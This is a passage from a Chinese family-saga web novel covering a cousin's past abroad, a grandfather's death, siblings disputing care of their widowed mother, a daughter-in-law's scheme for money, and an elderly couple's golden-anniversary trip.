说起这段过往,曾玉玲并不后悔,只是遗憾自己当时什么都不懂。如果是现在的她,早就让亨利人财两空,“这种日子,我忍了两年,才抓到亨利家暴证据。” “所以那时候,你一直没和我们联系,就是因为这个吗?”何胜男问。 “是啊,我连出家门的时间都有规定,更别说去邮局。”曾玉玲道,“离婚时,我分走亨利一般财产,我以为自己是个大学生,能找到很好工作。但是我只能去洗盘子,不过洗盘子工资确实高,只是我不想过这种日子。” “一次上班,我认识一个老头,也就是托姆的爸。知道对方是个有钱人,我并没有拒绝他的调情,在一起两个月后,我就怀孕了。托姆的爸爸是个很厉害的医生,我想着年纪大就大一点,反正他有钱,结果他先腻了我。好在他有点良心,给我分了一大笔钱,现在每个月还支付托姆的生活费。” 要是再重来一次,曾玉玲还是会选择出国,“我算是苦尽甘来,现在有钱有儿子,前几年的那些苦,也算是值得。可是胜男,你有听到我爸妈问过我一句,在国外有没有被欺负,日子好不好过吗?” 没有的。 何胜男摇了摇头,大舅只想着表姐不对,大舅母只是关心表姐有多少钱,为什么不工作。 “所以你看,我对他们真的亲近不起来。”曾玉玲吃完了肉片,给一旁的儿子擦擦嘴,“有的话你说得也对,他们确实养大了我,我会每个月给他们打钱,但要我做个承欢膝下的孝顺女儿,我真的做不到。” 听此,何胜男不再多问大舅和大舅母有关的事,而是和表姐聊了其他的事。 他们都有出国经验,加上两人一直关系不错,也就很多话聊。 “你年底结婚啊,那我到时候看看,有空我就来。”曾玉玲恭喜道,“你以后也可以来美国找我玩,我是说真的,我很欢迎你来找我。” “可能真的有机会来,学校会有学术交流,如果我有去,我就去看你。”何胜男和表姐一块走出肉片店,表姐突然抱住了她,她也抱住表姐。 第二天王娟再去酒店找女儿时,曾玉玲已经走了,前台说曾玉玲留了个信封。 王娟打开看到五百块,还有一张纸条和银行卡,曾玉玲写以后每个月都会打钱打卡上。 王娟看着银行卡半天,最后嚎啕大哭起来,她后悔了,昨天就该追出来,但是她没有。 直到酒店的工作人员劝了又劝,她才哽咽走出酒店,她知道她和女儿,以后再也亲近不起来了。 年底何胜男结婚时,曾玉玲没有回来,她提前寄了礼物,说托姆有点不舒服,所以不能回来。 何胜男并没有意外,他们一大家子对于表姐来说,都没有值得眷恋的,以后要见,也只能她去美国时见了。 结婚、怀孕,何胜男的人生依旧按部就班,她和老公都没有特别的兴趣爱好,两个人下了班就回家,周末偶尔去亲戚家聚会,日子平淡,却也幸福。 在何胜男的女儿出生的第五个月,她外公曾庆良走了,老头运气不错,睡梦中走的。前一天晚上还吃了一碗满满的饭菜,结果第二天保姆去喊他起床时,身体已经凉了。 曾庆良的丧事办完后,曾家四兄妹开始商议他们妈妈以后跟谁过的问题。 曾舒仪的意思是,她家大,以后都跟她住,正好她家老人多,一块儿有个伴。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【终章】 第65章 曾向民却不同意了, “我家也大,也该到我尽孝的时候,三姐你别和我争了。我是儿子, 我应该照顾妈。” “得了吧你,你能照顾妈什么?妈去伺候你们才对。”曾舒仪道。 “话不是这样说,我家有保姆,什么事都不用妈做。如果妈愿意接送孩子,也可以帮帮忙。”曾向民真没想他妈去做事。 曾舒仪却觉得女儿更贴心, 应该她照顾。 曾舒月说还是她最合适, “你们都是大企业家,能在家里的时间有多少,还要照顾孩子。不像我,不用上班, 也不需要照顾孩子。还是去我家,我来照顾妈最合适。” 从始至终,就曾向平两口子不说话, 曾向平现在不怎么打麻将,改喝酒了, 这会还是醉醺醺的,人都没醒。 王娟就不想婆婆跟她住,既然曾舒仪三个要争, 就让给他们好了,反正她不想要婆婆跟她住。 眼瞅着曾舒仪姐弟拿不出个决断,林家珍说她打算自己住, “谁那里都不去,我自己一个人住更自在。以前还要伺候你们爸,现在我一个人更舒服。” 她摆摆手, 让孩子们都别争了,回房间关了门,看着老伴的照片,突然有些想哭。 结婚四五十年,林家珍很少个曾庆良吵架,年轻时觉得曾庆良说什么都对,后来孩子们渐渐长大,她又懒得和曾庆良争吵。 等孩子们成家立业,全都搬出去后,他们两口子感情反而更好一点。每天吃饭完一块散步,说说一天里发生的事。 现在剩下林家珍一个人,心里头空空的,在孩子们面前又不敢哭,只能关了门看着老伴的照片发呆。 林家珍坚持不去任何一个孩子家,她开始过上独居生活,连保姆都不用。 每天早起买菜,然后一个人做饭,一个人遛弯,到了周末盼着孩子们来看看,日子变得特别漫长。 直到两个月后,曾舒仪没有打招呼,突然来探望,看到桌上只有稀饭咸菜,二话不说开始收拾东西,“你说自己一个人能过好,就是吃稀饭咸菜吗?还有走廊的衣服,堆了那么些没洗,你以前可不是这样的人。” “我正准备洗的。”林家珍为自己辩解。 “得了吧,你就是一个人懒得做饭,懒得收拾。只有快到周末了,盼着我们来,才开始收拾家里。”曾舒仪深吸一口气,“妈,你带大我们,吃我的住我的又怎么样?” 林家珍不太好意思,“可是你家……” “你要是觉得会看人脸色,那绝对不会,陈澈不是那么没良心的人。我公婆也很好说话,他们现在退休了,每天娱乐还是很丰富。再不行,我把隔壁买下来,你自己住隔壁,我也能有个照应,行了吗?”曾舒仪想到就做,当即给认识的房产中介打电话,得知她右边那栋别墅真要出售,连看都没看,就和中介说要买,“我已经说好了,你跟我走吧。” “舒仪,别浪费钱了,我其实挺好的。”林家珍还想说话,女儿却提着她的东西出门,她只好跟上。 曾舒仪把隔壁的别墅买了下来,把他们中间的围墙拆了,这样显得院子更大。 林家珍确实和于美兰夫妇玩不到一块去,但院子大了可以种菜,加上外孙女在,每天有外孙女在一旁说话,日子又轻快不少。 过了大半年,曾向民要来接人,被曾舒仪拦住。 “妈在一个地方住习惯了,别搬来搬去。你要来看妈,随时都可以来,现在妈自己住一栋房子,你来方便得很。”曾舒仪没让弟弟把人接走。 曾向民没办法,只能周末带着孩子们过来。 而王娟则是避开了周末,特意挑了个没人来的时候,她刚进门就哇哇大哭,“妈,你得救救向平啊,他昨天喝醉酒,被车撞了,现在急需两万块手术费。” “啥?向平怎么会被车撞?他人怎么样?你快带我去看看他!”林家珍着急要出门,却被儿媳妇拉住。 “你先给我拿钱,拿了钱我才好给向平做手术。”王娟拦着人。 “那我给舒仪打电话,我的钱都让舒仪存银行去了。” 一听婆婆要给曾舒仪打电话,王娟赶忙抢过电话,“妈,你的钱怎么可以给曾舒仪保管?” “我存不来钱,只能让舒仪帮忙。她那么多钱,肯定不会在意我这点钱。你别拦着我啊,不是要拿钱给向平做手术吗!”林家珍道。 王娟却还拿着电话,“做手术不着急,向平是受了伤,但不差这几分钟。妈,你把钱都给了舒仪,那你和爸之前住的房子,一直空着吗?” 她今天过来的主要目的,就是为了这个。 林家珍听出一些话外之音,以前老伴还在的时候,大儿子和大儿媳就没少来要钱,“小娟,你是又欠了谁钱,想从我这里要钱吗?玉玲不是每个月给你打钱?” “哎呀妈,玉玲给的钱,我得留着养老啊。我和向平都没有正式工作,以后没有保障,你看他被车撞一下,我就得关门照顾他。你想想我和向平的日子,再想想舒仪他们过的日子,这么大的别墅,舒仪说买就买,我和向平还要为了一口饭钱斤斤计算。” 王娟说着假哭起来,“妈,你心疼心疼我们呗。既然舒仪给你买了大别墅,那套房子你又不住了,不如……” “不如过户给你们是吗?”林家珍问。 听到这话,王娟笑了,“妈,你真愿意给我们吗?” “你想得真好,那房子就是空着,我也不会给你。等我死了,你们四个人再卖了分钱。”林家珍看到大儿子和大儿媳一把年纪还心思不正,憋了一肚子火气,“行了,你没事别来看我,我好得很,不需要你来看我。” “妈!你怎么能那么无情呢,舒仪是有钱,你不能想着有钱的女儿,就不管没钱的我们了啊!”王娟觉得婆婆是势利眼。 林家珍快被气死了,指着门道,“你给我滚蛋,谁不管你们了?这些年给钱给吃的,全喂给白眼狼了吗?” 他们这边在吵架,隔壁的于美兰夫妇听到后过来问怎么了。 看到陈家人来了,王娟不好意思折腾,只好走了。 事实上,曾向平确实发生车祸,不过是被自行车撞到小腿,蹭破一层皮。 等曾舒仪下班回家,得知这个事之后,第二天开车去了大哥家里,看到生龙活虎的大哥,顿时明白怎么回事。 回家说了这个事,让她妈别心软,“我大哥大嫂饿不死,有玉玲每个月寄的钱,够他们吃了。” “我知道的,不会再偷偷给他们钱。”林家珍忍不住叹气,“哎,儿女就是上辈子的债,他们是来讨债的。罢了,谁让我是他们妈。” 林家珍改变不了大儿子,只好躲着他们,只要他们一过来,她就去隔壁。 日子久了,王娟和曾向平要不到钱,只好作罢。 但有时候做人做事得避谶,没过两个月,曾向平真出了车祸,小腿粉碎性骨折,后半辈子只能坐轮椅了。 得知消息时,曾舒仪都愣了下,得知是曾向平喝醉酒闯红灯,骂了句活该,连医院都没去看。 大哥的事对曾舒仪没影响,她和赵磊的公司不仅国内业务稳定,在海外的发展也越来越好,两个人每天都很忙碌。 陈澈同样忙,不过他们都会空出时间,每两周,一定有一个周末会在家陪伴家人。 幸福的日子过得很快,等陈云凌大学毕业,进入陈澈的公司没多久,就和白多多的女儿谈恋爱。 白多多在曾舒仪介绍下,嫁给了陈澈的大学同学,她女儿在榕城读大学,在她大学刚毕业,就和陈云凌领证结婚。 儿子结婚这天,曾舒仪难得地喝了个大醉,她闹着要陈澈背她回家,陈澈只好背着她走在路灯下。 路灯把两个人的影子拉长,曾舒仪趴在陈澈背上,“你知道我当初看上你什么了吗?” “知道,你看上我好看的脸。所以这些年,不管再忙,每周我都会去一次健身房。”陈澈很清楚老婆最喜欢他哪一点。 “哈哈,是的没错!”曾舒仪想亲亲陈澈的脸颊,却够不着,“真讨厌,都不让人亲。罢了罢了,我不亲了!” 陈澈听着爱人酒后的醉话,心里甜甜的,“等回家,回家给你亲个够。怎么不说话了?” 他回头看了眼,见爱人睡着了,这时儿子开车追来,赶忙用嘴型让儿子小声点。 “你们啊,都一把年纪了,怎么还那么恩爱?”陈云凌不理解地看着爸妈,他拉开车门,“快上车吧,从这里到家,还有十公里呢。” “你吵什么,爸妈恩爱是好事,你应该高兴。”陈澈小心翼翼地把老婆放到车里,他坐下后,把老婆的头放在大腿上,再吩咐儿子,“你开慢一点,别把你妈吵醒了。” “知道了,全世界就你们最恩爱,可以了吧?”陈云凌无奈地笑了下,虽然他想快点回去洞房,但还是尽量开得稳一点。 透过后视镜,看到爸爸脸上甜蜜的笑容,他也跟着笑了。 真好,他长在一个有爱的家里。 陈云凌坚信,以后十年、二十年,他爸妈还是会这样恩爱的。 第66章 临近金婚时, 儿子女儿问曾舒仪,想怎么大操大办。 曾舒仪想了想,是她和陈澈的金婚, 没必要做给别人看。 她工作那么努力,现在退休了,是不是得对自己更好一点? 这么一想,曾舒仪当即乘坐私人飞机,带上陈澈飞普吉岛。 飞机落地普吉岛, 蓝天、大海、还有咸咸的海风迎面吹来。 虽然不是第一次来普吉岛, 但这次的心境却不一样。 陈澈是被突然告知要来普吉岛,他对于行程一无所知,到了酒店问,“我们要在这里住几天?” “不知道, 住到我们哪天想走再走。” “那你做了什么攻略吗?” “也没有,路边看到想吃什么,我们就吃什么。” “你这是说走就走的旅行啊?” “放轻松点, 我们都这个年纪了,想怎么玩就怎么玩。”曾舒仪说她还是有预订一项活动, 但她要先保持神秘。 第二天上了游艇,陈澈才知道曾舒仪为什么要保持神秘,因为曾舒仪找了四个年轻帅气的小伙子当船员。 “再看要流口水了。”陈澈小声提醒。 “哈哈, 我只是让他们找好看点的船员,没想到他们找那么帅的。你放心,在我眼里, 你永远是最帅的。”曾舒仪抱着陈澈亲了上去。 他们感受着普吉岛的热浪,时间仿佛拉回二十几岁时候,那时候他们有年轻的身体, 和控制不住的荷尔蒙。 连续三天出海,又在酒店躺了三天,曾舒仪想吃什么就让酒店工作人去买,想看表演就硬拉着陈澈一块去。 尽管他们头发半白,却还有着年轻时对对方的悸动。 在普吉岛待了十天,曾舒仪又想去欧洲购物,当即飞去欧洲。 高定的衣服、包包、护肤品和私人庄园,她现在有的是钱,最该珍惜的是时间。 每天在自己的庄园醒来,阳光从窗边洒落,曾舒仪伸个懒腰,床头边就有咖啡的浓香。 陈澈已经起来了,他卷起窗帘,“今天云凌打电话来,问我们什么时候回去?” “他还真粘人,都是三个孩子的爸了,一点也不成熟。”曾舒仪抿了一小口的咖啡,起床洗漱后,懒洋洋地趴在窗台上,“等我再玩几天吧,我想享受只有你在身边的日子。至于那臭小子的电话,挂了就是。” 话音刚落,曾舒仪的手机想了,看到是小孙女打来的电话,立马接通,语气瞬间变得温柔,“小宝你想奶奶了是吗?你现在应该在午休吧?” 电话那头,传来孙女稚嫩的声音,“没有哦奶奶,爸爸带我们来找你们了,他说怕你们乐不思蜀,特意过来给你们过金婚纪念日。” “啥?”曾舒仪还没问出其他疑惑,就听到有人敲门,回头看到儿子和女儿都拖家带口来了,无奈地看了他们一眼,直到小孙女扑向她怀里,眼里又被幸福溢满。 “爸妈,你们也真是的,这么重要的日子,也该让我们一起参与啊。”陈云凌笑着道,“你们结婚时,我们没办法参加,到了你们的金婚纪念日,怎么样也得一家人聚一聚。” 陈乐乐也搂住妈妈,“是啊妈妈,你就只想着我爸,都不想想我们。” “好了好了,都多大的人了,一个个的还和爸妈撒娇丢不丢人?”曾舒仪拍了下女儿的胳膊,“既然来了,就去帮忙布置,今天我不做饭,你们做给我们老两口吃。我想吃豆豉蒸排骨,还有帝王蟹和白切鸡。” “好好好,我们去给你们做。”陈云凌对妹妹招招手,“走吧乐乐,让孩子们陪爸妈就好,我们下厨去。” “可是哥……” “别可是了,你不会做没关系,来帮我打下手。”陈云凌拖走了妹妹。 曾舒仪则是被几个孩子围着,她带着他们去摘蓝莓,又带他们去逛酒窖,“你们出生时,我都有特意留五桶酒,等你们十八岁时,就是我送给你们的礼物。” 陈澈在一旁笑,“其中两桶,已经被你儿子喝了。” “真的吗?” “当然真的,不信你数数?” “这臭小子,我不是交代了不要懂这些酒?”曾舒仪骂了两句就笑了,“算了算了,再找人拿两桶来就好,反正差别也不大。” 走出酒窖时,霞光灿烂,曾舒仪闭上眼睛享受着来自山野、林间吹来的风,孩子们纷纷效仿。 等陈云凌兄妹来喊吃饭时,就看到两大五小站成一排,面对着夕阳。 “嘘,咱们先别喊。”陈云凌小声说完,他也面朝夕阳,“乐乐,我们能做爸妈的孩子,真好啊。” “嗯,真好。”陈乐乐刚说完,就看到爸妈带着孩子们过来,听她妈说饿了,赶忙过去搂住,“今天我有下厨哦,你们得多吃点。” 曾舒仪:“好好好,我吃两碗饭。” 小宝儿大声道:“我要吃三碗!” “我四碗!” “我要五碗!” …… 曾舒仪听得哈哈笑起来,行吧,有时候热闹一点也很好。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m